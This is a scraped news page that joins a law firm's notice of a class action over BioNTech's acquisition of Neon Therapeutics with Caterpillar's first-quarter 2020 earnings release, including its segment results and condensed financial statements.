Work Is Hurting Your Bottom Line 8 Ways to Upgrade Your Morning Routine Copyright 2020 Entrepreneur.com Inc., All rights reserved WILMINGTON, Del., April 27, 2020 (GLOBE NEWSWIRE) -- Rigrodsky & Long, P.A. announces that it has filed a class action complaint in the United States District Court for the District of Delaware on behalf of holders of Neon Therapeutics, Inc. (Neon or the Company) (NASDAQ GS: NTGN) common stock in connection with the proposed acquisition of Neon by BioNTech SE (BioNTech) and Endor Lights, Inc. (Merger Sub), announced on January 16, 2020 (the Complaint). The Complaint, which alleges violations of the Securities Exchange Act of 1934 against Neon, its Board of Directors (the Board), BioNTech, and Merger Sub, is captioned Franchi v. Neon Therapeutics, Inc., Case No. 1:20-cv-00482 (D. Del.). If you wish to discuss this action or have any questions concerning this notice or your rights or interests, please contact plaintiffs counsel, Seth D. Rigrodsky or Gina M. Serra at Rigrodsky & Long, P.A., 300 Delaware Avenue, Suite 1220, Wilmington, DE 19801, by telephone at (888) 969-4242, by e-mail at info@rl-legal.com, or at https://www.rigrodskylong.com/cases-neon-therapeutics-inc,join. On January 15, 2020, Neon entered into an agreement and plan of merger (the Merger Agreement) with BioNTech and Merger Sub. Pursuant to the terms of the Merger Agreement, shareholders of Neon will receive 0.063 American Depository Shares for each share of Neon common stock they own (the Proposed Transaction). Among other things, the Complaint alleges that, in an attempt to secure shareholder support for the Proposed Transaction, defendants issued materially incomplete disclosures in a proxy statement/prospectus (the Prospectus) filed with the United States Securities and Exchange Commission. The Complaint alleges that the Prospectus omits material information with respect to, among other things, the Companys and BioNTechs financial projections and the analyses performed by Neons financial advisor. The Complaint seeks injunctive and equitable relief and damages on behalf of holders of Neon common stock. Story continues If you wish to serve as lead plaintiff, you must move the Court no later than June 26, 2020. A lead plaintiff is a representative party acting on behalf of other class members in directing the litigation. Any member of the proposed class may move the Court to serve as lead plaintiff through counsel of their choice, or may choose to do nothing and remain an absent class member. Rigrodsky & Long, P.A., with offices in Delaware and New York, has recovered hundreds of millions of dollars on behalf of investors and achieved substantial corporate governance reforms in securities fraud and corporate class actions nationwide. Attorney advertising. Prior results do not guarantee a similar outcome. DEERFIELD, Ill., April 28, 2020 /PRNewswire/ -- First-quarter sales and revenues decreased 21%; profit per share declined 39% Company bolsters liquidity, improves strong financial position Returned about $1.6 billion to shareholders First Quarter ($ in billions except profit per share) 2020 2019 Sales and Revenues $10.6 $13.5 Profit Per Share $1.98 $3.25 Caterpillar Inc. (NYSE: CAT) today announced first-quarter 2020 sales and revenues of $10.6 billion, a 21% decrease compared with $13.5 billion in the first quarter of 2019. The decline was due to lower sales volume driven by lower end-user demand and the impact from changes in dealer inventories. Dealers increased machine and engine inventories about $100 million during the first quarter of 2020, compared with about $1.3 billion during the first quarter of 2019. First-quarter 2020 profit per share was $1.98, compared with $3.25 profit per share in the first quarter of 2019. Profit per share in the first quarter of 2020 included a pre-tax remeasurement gain of $254 million, or $0.38 per share, resulting from the settlement of a non-U.S. pension obligation. Profit per share in the first quarter of 2019 included a discrete tax benefit related to U.S. tax reform of $178 million, or $0.31 per share. The first quarter of 2020 also benefited from the lack of short-term incentive compensation expense partially offset by the higher estimated annual tax rate of 31% excluding discrete items. Operating profit margin was 13.2% for the first quarter of 2020, compared with 16.4% for the first quarter of 2019. During the first quarter of 2020, enterprise operating cash flow was $1.130 billion. Caterpillar has taken actions to improve its strong financial position by increasing sources of liquidity. On a consolidated basis, Caterpillar ended the first quarter with $7.1 billion of cash and available global credit facilities of $10.5 billion. In April, Caterpillar raised $2.0 billion of incremental cash by issuing new 10- and 30-year bonds and arranged $8.0 billion of additional back-up facilities to supplement the company's liquidity position. Response to COVID-19 and Global Business Conditions "We remain committed to the safety, health and well-being of our employees around the world, and I am proud of our employees and dealers for their dedication to our customers, their communities and each other," said Caterpillar Chairman and CEO Jim Umpleby. "Our employees deliver products and services that enable our customers to provide critical infrastructure essential to support society during the COVID-19 pandemic." Operational Impacts Caterpillar has implemented safeguards in its facilities to protect team members, including increased frequency of cleaning and disinfecting facilities, social distancing practices and other measures consistent with specific regulatory requirements and guidance from health authorities. Many governments classified Caterpillar's operations as an essential activity for support of critical infrastructure. Caterpillar has suspended operations temporarily at certain facilities during the last several weeks due to supply chain issues, weak customer demand or government regulations. As of mid-April 2020, globally and across the three primary segments, approximately 75% of the company's primary production facilities continue to operate. Some facilities that were temporarily closed have reopened. The company will continue to monitor the situation and may suspend operations temporarily at additional facilities if warranted by business conditions. The company has taken actions to reduce costs, including reducing discretionary expenses and suspending 2020 base salary increases and short-term incentive compensation plans for many employees and all senior executives. Caterpillar is prioritizing spending to allow continued investment in services and expanded offerings, key elements of its strategy for profitable growth introduced in 2017. Outlook Caterpillar's financial results for the remainder of 2020 will be impacted by continued global economic uncertainty due to the COVID-19 pandemic. As such, Caterpillar withdrew its earnings guidance on March 26 and is not providing a financial outlook for 2020 at this time. "We have taken decisive actions to enhance our strong financial position, while continuing to execute our strategy for profitable growth," said Umpleby. "Caterpillar has faced and overcome many challenges in our 95-year history. Our goal is to emerge from the pandemic an even stronger company." CONSOLIDATED RESULTS Consolidated Sales and Revenues Consolidated Sales and Revenues Comparison First Quarter 2020 vs. First Quarter 2019 To access this chart, go to http://www.caterpillar.com/en/investors/quarterly-results.html for the downloadable version of Caterpillar first-quarter 2020 earnings. The chart above graphically illustrates reasons for the change in consolidated sales and revenues between the first quarter of 2019 (at left) and the first quarter of 2020 (at right). Caterpillar management utilizes these charts internally to visually communicate with the company's Board of Directors and employees. Total sales and revenues for the first quarter of 2020 were $10.635 billion, a decrease of $2.831 billion, or 21%, compared with $13.466 billion in the first quarter of 2019. The decline was due to lower sales volume driven by lower end-user demand and the impact from changes in dealer inventories. Dealers increased machine and engine inventories about $100 million during the first quarter of 2020, compared with about $1.3 billion during the first quarter of 2019. The changes in dealer inventories came primarily in Construction Industries, driven by North America, and in Resource Industries. Sales were lower across all regions and in the three primary segments. Sales and Revenues by Segment (Millions of dollars) First Quarter 2019 Sales Volume Price Realization Currency Inter- Segment / Other First Quarter 2020 $ Change % Change Construction Industries $ 5,873 $ (1,418) $ (63) $ (59) $ (27) $ 4,306 $ (1,567) (27%) Resource Industries 2,752 (607) (21) (40) 2,084 (668) (24%) Energy & Transportation 5,210 (599) 21 (37) (246) 4,349 (861) (17%) All Other Segment 121 (9) (3) 109 (12) (10%) Corporate Items and Eliminations (1,232) 22 1 (1) 276 (934) 298 Machinery, Energy & Transportation 12,724 (2,611) (62) (137) 9,914 (2,810) (22%) Financial Products Segment 850 (36) 814 (36) (4%) Corporate Items and Eliminations (108) 15 (93) 15 Financial Products Revenues 742 (21) 721 (21) (3%) Consolidated Sales and Revenues $ 13,466 $ (2,611) $ (62) $ (137) $ (21) $ 10,635 $ (2,831) (21%) Sales and Revenues by Geographic Region North America Latin America EAME Asia/Pacific External Sales and Revenues Inter-Segment Total Sales and Revenues (Millions of dollars) $ % Chg $ % Chg $ % Chg $ % Chg $ % Chg $ % Chg $ % Chg First Quarter 2020 Construction Industries $ 2,085 (30%) $ 265 (17%) $ 889 (12%) $ 1,073 (31%) $ 4,312 (26%) $ (6) (129%) $ 4,306 (27%) Resource Industries 696 (27%) 320 (24%) 395 (16%) 568 (29%) 1,979 (25%) 105 % 2,084 (24%) Energy & Transportation 1,738 (19%) 249 (25%) 1,053 2% 578 (19%) 3,618 (15%) 731 (25%) 4,349 (17%) All Other Segment 5 (38%) 2 % 11 % 10 (44%) 28 (24%) 81 (4%) 109 (10%) Corporate Items and Eliminations (15) (2) (4) (2) (23) (911) (934) Machinery, Energy & Transportation 4,509 (25%) 834 (22%) 2,344 (7%) 2,227 (28%) 9,914 (22%) % 9,914 (22%) Financial Products Segment 525 (6%) 70 % 102 % 117 (3%) 814 (4%) % 814 (4%) Corporate Items and Eliminations (54) (12) (9) (18) (93) (93) Financial Products Revenues 471 (4%) 58 (2%) 93 % 99 (2%) 721 (3%) % 721 (3%) Consolidated Sales and Revenues $ 4,980 (24%) $ 892 (21%) $ 2,437 (7%) $ 2,326 (27%) $ 10,635 (21%) $ % $ 10,635 (21%) First Quarter 2019 Construction Industries $ 2,965 $ 319 $ 1,006 $ 1,562 $ 5,852 $ 21 $ 5,873 Resource Industries 951 423 468 805 2,647 105 2,752 Energy & Transportation 2,151 332 1,032 718 4,233 977 5,210 All Other Segment 8 11 18 37 84 121 Corporate Items and Eliminations (41) 1 (3) (2) (45) (1,187) (1,232) Machinery, Energy & Transportation 6,034 1,075 2,514 3,101 12,724 12,724 Financial Products Segment 558 70 102 120 850 850 Corporate Items and Eliminations (69) (11) (9) (19) (108) (108) Financial Products Revenues 489 59 93 101 742 742 Consolidated Sales and Revenues $ 6,523 $ 1,134 $ 2,607 $ 3,202 $ 13,466 $ $ 13,466 Consolidated Operating Profit Consolidated Operating Profit Comparison First Quarter 2020 vs. First Quarter 2019 To access this chart, go to http://www.caterpillar.com/en/investors/quarterly-results.html for the downloadable version of Caterpillar first-quarter 2020 earnings. The chart above graphically illustrates reasons for the change in consolidated operating profit between the first quarter of 2019 (at left) and the first quarter of 2020 (at right). Caterpillar management utilizes these charts internally to visually communicate with the company's Board of Directors and employees. The bar titled Other includes consolidating adjustments and Machinery, Energy & Transportation's other operating (income) expenses. Operating profit for the first quarter of 2020 was $1.404 billion, a decrease of $803 million, or 36%, compared with $2.207 billion in the first quarter of 2019. The decrease was mostly due to lower sales volume and unfavorable currency impacts related to the Australian dollar, partially offset by lower selling, general and administrative (SG&A) and research and development (R&D) expenses as well as favorable manufacturing costs. Lower SG&A/R&D expenses reflected reduced short-term incentive compensation expense, a favorable change in fair value adjustments related to deferred compensation plans and other cost-reduction actions implemented in response to lower sales volumes. Favorable manufacturing costs were primarily driven by lower period manufacturing and material costs, partially offset by higher warranty expense. Period manufacturing costs declined mostly due to a reduction in short-term incentive compensation expense and other cost-reduction actions implemented in response to lower sales volumes. Profit by Segment (Millions of dollars) First Quarter 2020 First Quarter 2019 $ Change % Change Construction Industries $ 640 $ 1,085 $ (445) (41%) Resource Industries 304 576 (272) (47%) Energy & Transportation 602 838 (236) (28%) All Other Segment 7 25 (18) (72%) Corporate Items and Eliminations (212) (375) 163 Machinery, Energy & Transportation 1,341 2,149 (808) (38%) Financial Products Segment 105 211 (106) (50%) Corporate Items and Eliminations 47 (46) 93 Financial Products 152 165 (13) (8%) Consolidating Adjustments (89) (107) 18 Consolidated Operating Profit $ 1,404 $ 2,207 $ (803) (36%) Other Profit/Loss and Tax Items Other income (expense) in the first quarter of 2020 was income of $222 million , compared with income of $160 million in the first quarter of 2019. The change was primarily due to a $254 million remeasurement gain resulting from the settlement of a non-U.S. pension obligation, partially offset by unfavorable impacts from equity securities at Insurance Services and foreign currency exchange gains (losses) primarily due to the Australian dollar and Brazilian real. The unfavorable impact of equity securities was due to unrealized losses in the first quarter of 2020, compared with unrealized gains in the first quarter of 2019. The company experienced foreign currency exchange net losses in the first quarter of 2020, compared with net gains in the first quarter of 2019. , compared with income of in the first quarter of 2019. The change was primarily due to a remeasurement gain resulting from the settlement of a non-U.S. pension obligation, partially offset by unfavorable impacts from equity securities at Insurance Services and foreign currency exchange gains (losses) primarily due to the Australian dollar and Brazilian real. The unfavorable impact of equity securities was due to unrealized losses in the first quarter of 2020, compared with unrealized gains in the first quarter of 2019. The company experienced foreign currency exchange net losses in the first quarter of 2020, compared with net gains in the first quarter of 2019. The provision for income taxes for the first quarter of 2020 reflected a higher estimated annual tax rate of 31% compared with 26% for the first quarter of 2019, excluding the discrete items discussed below. The increase in the estimated annual tax rate is primarily related to changes in the expected geographic mix of profits from a tax perspective for 2020, including the impact of U.S. tax on non-U.S. earnings as a result of U.S. tax reform. In the first quarter of 2020, a $43 million tax charge was recorded related to the $254 million remeasurement gain resulting from the settlement of a non-U.S. pension obligation. In the first quarter of 2019, a discrete tax benefit of $201 million was recorded. CONSTRUCTION INDUSTRIES (Millions of dollars) Segment Sales First Quarter 2019 Sales Volume Price Realization Currency Inter- Segment First Quarter 2020 $ Change % Change Total Sales $ 5,873 $ (1,418) $ (63) $ (59) $ (27) $ 4,306 $ (1,567) (27%) Sales by Geographic Region First Quarter 2020 First Quarter 2019 $ Change % Change North America $ 2,085 $ 2,965 $ (880) (30%) Latin America 265 319 (54) (17%) EAME 889 1,006 (117) (12%) Asia/Pacific 1,073 1,562 (489) (31%) External Sales 4,312 5,852 (1,540) (26%) Inter-segment (6) 21 (27) (129%) Total Sales $ 4,306 $ 5,873 $ (1,567) (27%) Segment Profit First Quarter 2020 First Quarter 2019 Change % Change Segment Profit $ 640 $ 1,085 $ (445) (41%) Segment Profit Margin 14.9% 18.5% (3.6 pts) Construction Industries' total sales were $4.306 billion in the first quarter of 2020, a decrease of $1.567 billion, or 27%, compared with $5.873 billion in the first quarter of 2019. The decrease was due to lower sales volume, driven by lower end-user demand and the impact from changes in dealer inventories. Dealers increased inventories significantly more during the first quarter of 2019 than in the first quarter of 2020. In North America , sales decreased due to lower demand driven by the impact from changes in dealer inventories and lower end-user demand. Dealers increased inventories more during the first quarter of 2019 than in the first quarter of 2020. The lower end-user demand was driven primarily by non-residential and pipeline construction. , sales decreased due to lower demand driven by the impact from changes in dealer inventories and lower end-user demand. Dealers increased inventories more during the first quarter of 2019 than in the first quarter of 2020. The lower end-user demand was driven primarily by non-residential and pipeline construction. Sales declined in Latin America primarily due to the impact from changes in dealer inventories and unfavorable currency impacts from a weaker Brazilian real. Dealers decreased inventories more during the first quarter of 2020 than in the first quarter of 2019. primarily due to the impact from changes in dealer inventories and unfavorable currency impacts from a weaker Brazilian real. Dealers decreased inventories more during the first quarter of 2020 than in the first quarter of 2019. In EAME, the sales decrease was primarily due to lower end-user demand across most of the region and unfavorable currency impacts from a weaker euro. Sales declined in Asia/Pacific due to lower end-user demand across most of the region, primarily in China . Decreases in China reflected lower end-user demand mostly due to COVID-19 pandemic-related impacts. Construction Industries' profit was $640 million in the first quarter of 2020, a decrease of $445 million, or 41%, compared with $1.085 billion in the first quarter of 2019. The decrease was mainly due to lower sales volume, partially offset by lower manufacturing costs. Favorable manufacturing costs were primarily due to lower period manufacturing and material costs, partially offset by higher warranty expense. Lower period manufacturing costs reflected a reduction in short-term incentive compensation expense and targeted cost-reduction actions implemented in response to lower sales volumes. RESOURCE INDUSTRIES (Millions of dollars) Segment Sales First Quarter 2019 Sales Volume Price Realization Currency Inter- Segment First Quarter 2020 $ Change % Change Total Sales $ 2,752 $ (607) $ (21) $ (40) $ $ 2,084 $ (668) (24%) Sales by Geographic Region First Quarter 2020 First Quarter 2019 $ Change % Change North America $ 696 $ 951 $ (255) (27%) Latin America 320 423 (103) (24%) EAME 395 468 (73) (16%) Asia/Pacific 568 805 (237) (29%) External Sales 1,979 2,647 (668) (25%) Inter-segment 105 105 % Total Sales $ 2,084 $ 2,752 $ (668) (24%) Segment Profit First Quarter 2020 First Quarter 2019 Change % Change Segment Profit $ 304 $ 576 $ (272) (47%) Segment Profit Margin 14.6% 20.9% (6.3 pts) Resource Industries' total sales were $2.084 billion in the first quarter of 2020, a decrease of $668 million, or 24%, compared with $2.752 billion in the first quarter of 2019. The decrease was due to lower sales volume, driven by changes in dealer inventories and lower end-user demand. Dealers increased inventories during the first quarter of 2019, compared with a decrease during the first quarter of 2020. Mining equipment sales were lower due to weakness in certain commodities. In addition, demand decreased for equipment supporting non-residential construction and quarry and aggregates. Resource Industries' profit was $304 million in the first quarter of 2020, a decrease of $272 million, or 47%, compared with $576 million in the first quarter of 2019. The decrease was mainly due to lower sales volume. Manufacturing costs were about flat as the unfavorable impact of cost absorption and higher warranty expense were more than offset by lower period manufacturing costs, freight expense and material costs. Cost absorption was unfavorable as inventory increased more in the first quarter of 2019 than in the first quarter of 2020. Lower period manufacturing costs were primarily due to lower short-term incentive compensation expense and the favorable impact of restructuring and other cost-reduction actions. ENERGY & TRANSPORTATION (Millions of dollars) Segment Sales First Quarter 2019 Sales Volume Price Realization Currency Inter- Segment First Quarter 2020 $ Change % Change Total Sales $ 5,210 $ (599) $ 21 $ (37) $ (246) $ 4,349 $ (861) (17%) Sales by Application First Quarter 2020 First Quarter 2019 $ Change % Change Oil and Gas $ 861 $ 1,131 $ (270) (24%) Power Generation 854 1,036 (182) (18%) Industrial 801 904 (103) (11%) Transportation 1,102 1,162 (60) (5%) External Sales 3,618 4,233 (615) (15%) Inter-segment 731 977 (246) (25%) Total Sales $ 4,349 $ 5,210 $ (861) (17%) Segment Profit First Quarter 2020 First Quarter 2019 Change % Change Segment Profit $ 602 $ 838 $ (236) (28%) Segment Profit Margin 13.8% 16.1% (2.3 pts) Energy & Transportation's total sales were $4.349 billion in the first quarter of 2020, a decrease of $861 million, or 17%, compared with $5.210 billion in the first quarter of 2019. Sales declined across all applications and inter-segment engine sales. Oil and Gas Sales were lower mainly in North America . The sales decline was largely due to lower demand for reciprocating engines used in gas compression and well servicing. . The sales decline was largely due to lower demand for reciprocating engines used in gas compression and well servicing. Power Generation Sales decreased primarily due to lower sales in Asia/Pacific and North America for both reciprocating engines and turbine-related projects. and for both reciprocating engines and turbine-related projects. Industrial Sales decreased due to lower demand across all regions. Transportation Sales declined in both rail and marine applications. Energy & Transportation's profit was $602 million in the first quarter of 2020, a decrease of $236 million, or 28%, compared with $838 million in the first quarter of 2019. The decrease was mostly due to lower sales volume. The decline was partially offset by lower SG&A/R&D expenses and manufacturing costs, both of which were mostly impacted by a reduction in short-term incentive compensation expense and other cost-reduction actions implemented in response to lower sales volumes. FINANCIAL PRODUCTS SEGMENT (Millions of dollars) Revenues by Geographic Region First Quarter 2020 First Quarter 2019 $ Change % Change North America $ 525 $ 558 $ (33) (6%) Latin America 70 70 % EAME 102 102 % Asia/Pacific 117 120 (3) (3%) Total Revenues $ 814 $ 850 $ (36) (4%) Segment Profit First Quarter 2020 First Quarter 2019 Change % Change Segment Profit $ 105 $ 211 $ (106) (50%) Financial Products' segment revenues were $814 million in the first quarter of 2020, a decrease of $36 million, or 4%, from the first quarter of 2019. The decrease was primarily due to lower average earning assets in North America. Financial Products' segment profit was $105 million in the first quarter of 2020, compared with $211 million in the first quarter of 2019. Most of the decrease was due to an unfavorable impact from equity securities in Insurance Services. Additionally, Cat Financial experienced lower average earning assets. These unfavorable impacts were partially offset by a reduction in SG&A expenses due to lower short-term incentive compensation expense. At the end of the first quarter of 2020, past dues at Cat Financial were 4.13%, compared with 3.61% at the end of the first quarter of 2019. The increase was primarily due to North America, Asia/Pacific and Mining, partially offset by a decrease in Caterpillar Power Finance. Write-offs, net of recoveries, were $30 million for the first quarter of both 2020 and 2019. As of March 31, 2020, Cat Financial's allowance for credit losses totaled $457 million, or 1.69% of finance receivables, compared with $424 million, or 1.50% of finance receivables, at December 31, 2019. The increase in allowance for credit losses was driven by the forecast of deteriorating economic conditions from the COVID-19 pandemic. Corporate Items and Eliminations Expense for corporate items and eliminations was $165 million in the first quarter of 2020, a decrease of $256 million from the first quarter of 2019, primarily due to a favorable change in fair value adjustments related to deferred compensation plans and segment reporting methodology differences. Notes Glossary of terms is included on the Caterpillar website at http://www.caterpillar.com/investors/ . Information on non-GAAP financial measures is included in the appendix on page 12. Some amounts within this report are rounded to the millions or billions and may not add. Caterpillar will conduct a teleconference and live webcast, with a slide presentation, beginning at 7:30 a.m. Central Time on Tuesday , April 28, 2020, to discuss its 2020 first-quarter results. The accompanying slides will be available before the webcast on the Caterpillar website at http://www.caterpillar.com/investors/events-and-presentations . About Caterpillar Since 1925, Caterpillar Inc. has been helping our customers build a better world making sustainable progress possible and driving positive change on every continent. With 2019 sales and revenues of $53.8 billion, Caterpillar is the world's leading manufacturer of construction and mining equipment, diesel and natural gas engines, industrial gas turbines and diesel-electric locomotives. Services offered throughout the product life cycle, cutting-edge technology and decades of product expertise set Caterpillar apart, providing exceptional value to help our customers succeed. The company principally operates through three primary segments Construction Industries, Resource Industries and Energy & Transportation and provides financing and related services through its Financial Products segment. For more information, visit caterpillar.com . To connect on social media, visit caterpillar.com/social-media . Caterpillar's latest financial results and outlook are also available online: http://www.caterpillar.com/en/investors.html http://www.caterpillar.com/en/investors/quarterly-results.html (live broadcast/replays of quarterly conference call) Forward-Looking Statements Certain statements in this press release relate to future events and expectations and are forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. Words such as "believe," "estimate," "will be," "will," "would," "expect," "anticipate," "plan," "forecast," "target," "guide," "project," "intend," "could," "should" or other similar words or expressions often identify forward-looking statements. All statements other than statements of historical fact are forward-looking statements, including, without limitation, statements regarding our outlook, projections, forecasts or trend descriptions. These statements do not guarantee future performance and speak only as of the date they are made, and we do not undertake to update our forward-looking statements. Caterpillar's actual results may differ materially from those described or implied in our forward-looking statements based on a number of factors, including, but not limited to: (i) global and regional economic conditions and economic conditions in the industries we serve; (ii) commodity price changes, material price increases, fluctuations in demand for our products or significant shortages of material; (iii) government monetary or fiscal policies; (iv) political and economic risks, commercial instability and events beyond our control in the countries in which we operate; (v) international trade policies and their impact on demand for our products and our competitive position, including the imposition of new tariffs or changes in existing tariff rates; (vi) our ability to develop, produce and market quality products that meet our customers' needs; (vii) the impact of the highly competitive environment in which we operate on our sales and pricing; (viii) information technology security threats and computer crime; (ix) inventory management decisions and sourcing practices of our dealers and our OEM customers; (x) a failure to realize, or a delay in realizing, all of the anticipated benefits of our acquisitions, joint ventures or divestitures; (xi) union disputes or other employee relations issues; (xii) adverse effects of unexpected events; (xiii) disruptions or volatility in global financial markets limiting our sources of liquidity or the liquidity of our customers, dealers and suppliers; (xiv) failure to maintain our credit ratings and potential resulting increases to our cost of borrowing and adverse effects on our cost of funds, liquidity, competitive position and access to capital markets; (xv) our Financial Products segment's risks associated with the financial services industry; (xvi) changes in interest rates or market liquidity conditions; (xvii) an increase in delinquencies, repossessions or net losses of Cat Financial's customers; (xviii) currency fluctuations; (xix) our or Cat Financial's compliance with financial and other restrictive covenants in debt agreements; (xx) increased pension plan funding obligations; (xxi) alleged or actual violations of trade or anti-corruption laws and regulations; (xxii) additional tax expense or exposure, including the impact of U.S. tax reform; (xxiii) significant legal proceedings, claims, lawsuits or government investigations; (xxiv) new regulations or changes in financial services regulations; (xxv) compliance with environmental laws and regulations; (xxvi) the duration and geographic spread of, business disruptions caused by, and the overall global economic impact of, the COVID-19 pandemic; and (xxvii) other factors described in more detail in Caterpillar's Forms 10-Q, 10-K and other filings with the Securities and Exchange Commission. APPENDIX NON-GAAP FINANCIAL MEASURES The following definitions are provided for the non-GAAP financial measures. These non-GAAP financial measures have no standardized meaning prescribed by U.S. GAAP and therefore are unlikely to be comparable to the calculation of similar measures for other companies. Management does not intend these items to be considered in isolation or as a substitute for the related GAAP measures. Adjusted Profit The company believes it is important to separately quantify the profit impact of two significant items in order for the company's results to be meaningful to readers. These items consist of (i) a remeasurement gain resulting from the settlement of a non-U.S. pension obligation in the first quarter of 2020 and (ii) a discrete tax benefit related to U.S. tax reform in the first quarter of 2019. The company does not consider these items indicative of earnings from ongoing business activities and believes the non-GAAP measure provides investors with useful perspective on underlying business results and trends and aids with assessing the company's period-over-period results. The company intends to discuss adjusted profit per share for the fourth quarter and full-year 2020, excluding mark-to-market gains or losses for remeasurement of pension and other postemployment benefit plans along with any other discrete items. Reconciliations of adjusted profit per share to the most directly comparable GAAP measure, diluted profit per share, are as follows: First Quarter 2020 2019 Profit per share $ 1.98 $ 3.25 Per share remeasurement gain of a non-U.S. pension obligation1 $ (0.38) $ Per share U.S. tax reform impact $ $ (0.31) Adjusted profit per share $ 1.60 $ 2.94 1 At statutory tax rates Note: On March 26, 2020, the company withdrew its previous financial outlook due to the continued global economic uncertainty related to the COVID-19 pandemic Machinery, Energy & Transportation Caterpillar defines Machinery, Energy & Transportation as it is presented in the supplemental data as Caterpillar Inc. and its subsidiaries with Financial Products accounted for on the equity basis. Machinery, Energy & Transportation information relates to the design, manufacture and marketing of Caterpillar products. Financial Products' information relates to the financing to customers and dealers for the purchase and lease of Caterpillar and other equipment. The nature of these businesses is different, especially with regard to the financial position and cash flow items. Caterpillar management utilizes this presentation internally to highlight these differences. The company also believes this presentation will assist readers in understanding Caterpillar's business. Pages 13-21 reconcile Machinery, Energy & Transportation with Financial Products on the equity basis to Caterpillar Inc. consolidated financial information. Caterpillar Inc. Condensed Consolidated Statement of Results of Operations (Unaudited) (Dollars in millions except per share data) Three Months Ended March 31, 2020 2019 Sales and revenues: Sales of Machinery, Energy & Transportation $ 9,914 $ 12,724 Revenues of Financial Products 721 742 Total sales and revenues 10,635 13,466 Operating costs: Cost of goods sold 7,266 9,003 Selling, general and administrative expenses 1,121 1,319 Research and development expenses 356 435 Interest expense of Financial Products 175 190 Other operating (income) expenses 313 312 Total operating costs 9,231 11,259 Operating profit 1,404 2,207 Interest expense excluding Financial Products 113 103 Other income (expense) 222 160 Consolidated profit before taxes 1,513 2,264 Provision (benefit) for income taxes 425 387 Profit of consolidated companies 1,088 1,877 Equity in profit (loss) of unconsolidated affiliated companies 5 7 Profit of consolidated and affiliated companies 1,093 1,884 Less: Profit (loss) attributable to noncontrolling interests 1 3 Profit 1 $ 1,092 $ 1,881 Profit per common share $ 2.00 $ 3.29 Profit per common share diluted 2 $ 1.98 $ 3.25 Weighted-average common shares outstanding (millions) Basic 546.8 572.4 Diluted 2 551.1 578.8 1 Profit attributable to common shareholders. 2 Diluted by assumed exercise of stock-based compensation awards using the treasury stock method. Caterpillar Inc. Condensed Consolidated Statement of Financial Position (Unaudited) (Millions of dollars) March 31, 2020 December 31, 2019 Assets Current assets: Cash and short-term investments $ 7,123 $ 8,284 Receivables trade and other 7,834 8,568 Receivables finance 9,120 9,336 Prepaid expenses and other current assets 1,761 1,739 Inventories 11,748 11,266 Total current assets 37,586 39,193 Property, plant and equipment net 12,488 12,904 Long-term receivables trade and other 1,196 1,193 Long-term receivables finance 12,021 12,651 Noncurrent deferred and refundable income taxes 1,426 1,411 Intangible assets 1,478 1,565 Goodwill 6,140 6,196 Other assets 3,559 3,340 Total assets $ 75,894 $ 78,453 Liabilities Current liabilities: Short-term borrowings: -- Machinery, Energy & Transportation $ $ 5 -- Financial Products 4,789 5,161 Accounts payable 5,769 5,957 Accrued expenses 3,776 3,750 Accrued wages, salaries and employee benefits 878 1,629 Customer advances 1,295 1,187 Dividends payable 567 Other current liabilities 2,074 2,155 Long-term debt due within one year: -- Machinery, Energy & Transportation 143 16 -- Financial Products 7,792 6,194 Total current liabilities 26,516 26,621 Long-term debt due after one year: -- Machinery, Energy & Transportation 8,998 9,141 -- Financial Products 15,371 17,140 Liability for postemployment benefits 6,333 6,599 Other liabilities 4,437 4,323 Total liabilities 61,655 63,824 Shareholders' equity Common stock 6,046 5,935 Treasury stock (25,341) (24,217) Profit employed in the business 35,504 34,437 Accumulated other comprehensive income (loss) (2,012) (1,567) Noncontrolling interests 42 41 Total shareholders' equity 14,239 14,629 Total liabilities and shareholders' equity $ 75,894 $ 78,453 Caterpillar Inc. Condensed Consolidated Statement of Cash Flow (Unaudited) (Millions of dollars) Three Months Ended March 31, 2020 2019 Cash flow from operating activities: Profit of consolidated and affiliated companies $ 1,093 $ 1,884 Adjustments for non-cash items: Depreciation and amortization 614 641 Gain on remeasurement of a non-U.S. pension obligation (254) Provision (benefit) for deferred income taxes 20 (11) Other 534 88 Changes in assets and liabilities, net of acquisitions and divestitures: Receivables trade and other 500 (150) Inventories (541) (813) Accounts payable 90 355 Accrued expenses (97) 135 Accrued wages, salaries and employee benefits (722) (1,185) Customer advances 116 105 Other assets net (50) (7) Other liabilities net (173) 79 Net cash provided by (used for) operating activities 1,130 1,121 Cash flow from investing activities: Capital expenditures excluding equipment leased to others (305) (278) Expenditures for equipment leased to others (243) (269) Proceeds from disposals of leased assets and property, plant and equipment 216 209 Additions to finance receivables (2,953) (2,615) Collections of finance receivables 3,153 2,818 Proceeds from sale of finance receivables 31 44 Investments and acquisitions (net of cash acquired) (35) (2) Proceeds from sale of securities 68 57 Investments in securities (180) (107) Other net 35 (38) Net cash provided by (used for) investing activities (213) (181) Cash flow from financing activities: Dividends paid (567) (494) Common stock issued, including treasury shares reissued (23) (5) Common shares repurchased (1,043) (751) Proceeds from debt issued (original maturities greater than three months) 2,141 2,665 Payments on debt (original maturities greater than three months) (2,466) (2,567) Short-term borrowings net (original maturities three months or less) (40) (522) Other net (1) (1) Net cash provided by (used for) financing activities (1,999) (1,675) Effect of exchange rate changes on cash (80) 3 Increase (decrease) in cash and short-term investments and restricted cash (1,162) (732) Cash and short-term investments and restricted cash at beginning of period 8,292 7,890 Cash and short-term investments and restricted cash at end of period $ 7,130 $ 7,158 All short-term investments, which consist primarily of highly liquid investments with original maturities of three months or less, are considered to be cash equivalents. Caterpillar Inc. Supplemental Data for Results of Operations For the Three Months Ended March 31, 2020 (Unaudited) (Millions of dollars) Supplemental Consolidating Data Consolidated Machinery, Energy & Transportation1 Financial Products Consolidating Adjustments Sales and revenues: Sales of Machinery, Energy & Transportation $ 9,914 $ 9,914 $ $ Revenues of Financial Products 721 830 (109) 2 Total sales and revenues 10,635 9,914 830 (109) Operating costs: Cost of goods sold 7,266 7,267 (1) 3 Selling, general and administrative expenses 1,121 940 182 (1) 3 Research and development expenses 356 356 Interest expense of Financial Products 175 176 (1) 4 Other operating (income) expenses 313 10 320 (17) 3 Total operating costs 9,231 8,573 678 (20) Operating profit 1,404 1,341 152 (89) Interest expense excluding Financial Products 113 112 1 4 Other income (expense) 222 179 (47) 90 5 Consolidated profit before taxes 1,513 1,408 105 Provision (benefit) for income taxes 425 397 28 Profit of consolidated companies 1,088 1,011 77 Equity in profit (loss) of unconsolidated affiliated companies 5 5 Equity in profit of Financial Products' subsidiaries 73 (73) 6 Profit of consolidated and affiliated companies 1,093 1,089 77 (73) Less: Profit (loss) attributable to noncontrolling interests 1 (3) 